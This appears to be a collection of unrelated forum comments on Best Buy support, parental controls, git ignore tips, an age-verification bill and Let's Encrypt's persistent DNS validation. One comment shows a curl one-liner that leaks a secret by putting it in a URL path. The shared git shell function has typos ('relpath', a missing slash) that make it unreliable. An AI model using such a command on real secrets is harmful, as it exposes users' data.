I stopped patronizing Best Buy when their store phone numbers started going to a corporate call center that couldn't tell me if something I was looking for was in stock at the store.
They do show stock on their website. For other things such as price matching their chat service has worked well for me and seems to be backed by real people. I can't remember the last time I tried to call in.
> Except companies provide wholly inadequate safeguards and tools. They are buggy, inconsistent, easily circumvented, and even at time malicious. Consumers should be better able to hold providers accountable, before we start going after parents.
We could mandate that companies that market the products actually have to deliver effective solutions.
Cue blog posts about section 230 and how it’s impossible to do hard things and parents should be held accountable not companies, meager fines, captured bureaucrats, libertarians, and on and on…
Here's a little extra magic so that you don't even need to be in the root of the repository to create such a temporary file (you'll have to change the readlink invocation if you're on MacOS):
git-ignore-local () {
root=$(git rev-parse --show-toplevel)
path=$(readlink -f "$1")
# ${path#${root}} should suffice if you don't have realpath
relpath=$(relpath -m --relative-to="$root" "$path")
echo "$relpath" >> "${root}.git/info/exclude"
}
Edit: You could also put the function contents as an executable on your PATH called `git-ignore-local` then it becomes something you can invoke as `git ignore-local`.
You still want to put these kinds of things in every project where you are collaborating. You can't depend on everyone to know and do this, so best to just be prepared for those who don't.
Surely you'll be able to tell who's YOLOing commits without allowing junk into your repo that you'll have to clean up (and it almost certainly be you doing it, not that other person).
DS_Store files are just annoying, but I've seen whole bin and obj directories, various IDE directories, and all kinds of other stuff committed by people who only know git basics. I've spent way more effort over time cleaning up than I have on adding a comprehensive gitignore file.
It takes practically no effort to include common exclude patterns and avoid all that. Personally, I just grab a gitignore file from GitHub and make a few tweaks here and there:
That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.
A lot of the comments in here seem to be focused on mobile devices, but this law applies to basically every general computing device.
Here are the definitions from the bill in a more reasonable order than they are presented there:
> "DEVICE" MEANS ANY GENERAL-PURPOSE COMPUTING DEVICE THAT CAN ACCESS A COVERED APPLICATION STORE OR DOWNLOAD AN APPLICATION.
> "COVERED APPLICATION STORE" MEANS A PUBLICLY AVAILABLE INTERNET WEBSITE, SOFTWARE APPLICATION, ONLINE SERVICE, OR PLATFORM THAT DISTRIBUTES AND FACILITATES THE DOWNLOAD OF APPLICATIONS FROM THIRD-PARTY DEVELOPERS TO USERS OF DEVICES.
> "APPLICATION" MEANS A SOFTWARE APPLICATION THAT MAY BE RUN OR DIRECTED BY A USER ON A DEVICE.
> "DEVELOPER" MEANS A PERSON THAT WRITES, CREATES, MAINTAINS, OR CONTROLS AN APPLICATION.
The law applies to Operating System providers that runs on such a device:
> "OPERATING SYSTEM PROVIDER" MEANS A PERSON THAT DEVELOPS, LICENSES, OR CONTROLS THE OPERATING SYSTEM SOFTWARE ON A DEVICE.
Basically every Linux distro falls under this. Never mind the fact that OS providers don't really have control over where you run their code. If my device doesn't have a network card, does that mean my OS can skip this?
This also is not privacy preserving. It does require the device only report what age bracket a user belongs too, but on a long enough time frame, anyone currently under that age of 18 has their age accurately disclosed, often down to their birthday.
Worse, all applications MUST query this information every time it is run, regardless of whether or not age is at play. Every time you run grep, grep needs to know how old you are:
> A DEVELOPER SHALL REQUEST AN AGE SIGNAL WITH RESPECT TO A PARTICULAR USER FROM AN OPERATING SYSTEM PROVIDER OR A COVERED APPLICATION STORE WHEN THE DEVELOPER'S APPLICATION IS DOWNLOADED AND LAUNCHED.
Now, oddly, user is defined to be minors:
> "USER" MEANS A MINOR WHO IS THE PRIMARY USER OF A DEVICE.
But, the way the law is written, the implementation necessarily applies to everyone.
I envision a dystopic future where the only legal personal computers are diskless Chromebooks that cannot save files to be viewed offline and that only boot via network, requiring a blood sample and a retinal scan to successfully Secure Boot.
I doubt it. This bill has extremely deep problems.
The constrain of a "real-time application programming interface" has no legislative priors and little concrete technical merit. This requirement on its face requires that all operating systems provide some level of guaranteed response time, as a real-time OS would. But what that guarantee is, is unspecified. Not to mentions the reasonably consistent part.
But, such a file may not necessarily exist. And given that the onus is from operating systems and not those running the operating system. The existence of a file (or lack there of), is not a sufficient guarantee.
Further, this provides only one bucket the law requires. The file(s) in question MUST be more nuanced with the law as it is written.
The real fuckery of this bill: it pretends to be privacy preserving and to protect minors, but the only people whose personal birth date information can be leaked by its implementaiton are minors.
There's a missing part here, and that's validating your ACME account ownership.
I think most users depend on automation that creates their accounts, so they never have to deal with it. But now, you need to propagate some credential to validate your account ownership to the ACME provider. I would have liked to see some conversation about that in this announcement.
I'm not familiar with Let's Encrypt's authentication model. If they don't have token creation that can be limited by target domain, but I expect you'll need to create separate accounts for each of your target domains, or else anything with that secret can create a cert for any domain your account controls.
> There's a missing part here, and that's validating your ACME account ownership.
Why? ACME accounts have credentials so that the ACME client can authenticate against the certificate issuer, and ACME providers require the placement of a DNS record or a .well-known HTTP endpoint to verify that the account is authorized to act upon the demands of whoever owns the domain.
If either your ACME credentials leak out or, even worse, someone manages to place DNS records or hijack your .well-known endpoint, you got far bigger problems at hand than someone being able to mis-issue SSL certificates under your domain name.
> Why? ACME accounts have credentials so that the ACME client can authenticate against the certificate issuer, and ACME providers require the placement of a DNS record or a .well-known HTTP endpoint to verify that the account is authorized to act upon the demands of whoever owns the domain.
This is the previous models. In this case, DNS-Persist-01, the record is permanent and never changes. So to prove that your request is valid, they need to authenticate in some other manner. Otherwise, once you create that persistent record, anybody could request a cert for your domain.
reply